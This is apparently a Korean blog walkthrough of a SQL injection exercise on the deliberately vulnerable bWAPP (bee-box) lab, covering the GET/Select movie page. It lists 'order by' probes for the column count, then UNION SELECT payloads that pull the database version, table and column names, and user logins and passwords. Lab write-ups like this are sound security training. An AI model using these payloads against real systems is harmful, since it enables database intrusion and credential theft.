취약점/Bee-Box

A1-Injection SQL Injection (GET/Select) 비박스(bWAPP)

시큐렛 2019. 12. 9. 23:49

SQL Injection이란?

웹 및 응용프로그램에서 데이터를 조회나 처리할 경우 데이터베이스에 명령을 하는데 이때 처리할 데이터에 악의적인 SQL문을 삽입하여 비정상적으로 데이터베이스를 조작하는 공격 방법이다.

 

※이전 글과 다르게 이번에는 select박스가 나와있고 검색 시에 한 줄로만 나오는 점이다.


select 메인페이지

select박스에서 메뉴를 고른 후 Go버튼을 누르면 해당 영화의 정보들이 출력되는 기능을 하는 페이지이다.

GET방식

또한 서버에 요청할 때 GET방식으로 URI에 정보를 담아서 보내는 특징이 있는 것을 확인할 수 있다.

 

삽입 코드 :

order by 1#
order by 2#
order by 3#
order by 4#
order by 5#
order by 6#
order by 7#
order by 8#		//에러메세지 출력
#URL
http://192.168.37.129/bWAPP/sqli_2.php?movie=0 order by 7#&action=go

order by

 

URL에 해당 코드를 삽입시 8번째에서 에러가 나는 것을 확인할 수 있다.

삽입 코드:

union select 1,2,3,4,5,6,7#					//위치확인
union select 1,@@version,database(),4,5,6,7#	//버전정보 , DB이름 정보획득
union select 1,table_name,3,4,5,6,7 from information_schema.tables where table_schema='bWAPP' limit 0,1#
//획득한 DB의 테이블 정보획득
union select 1,column_name,3,4,5,6,7 from information_schema.columns where table_name='users' limit 0,1#
//획득한 테이블의 칼럼 정보획득
union select 1,login,password,4,5,6,7 from users limit 0,1#
//users테이블의 id,password 정보획득

 

1줄 출력

URL에 해당 코드 삽입시 한 줄씩 출력되는데 limit 0,1 > limit ?,1을 이용하여 순서대로 정보를 획득할 수 있다.

사용자 계정 획득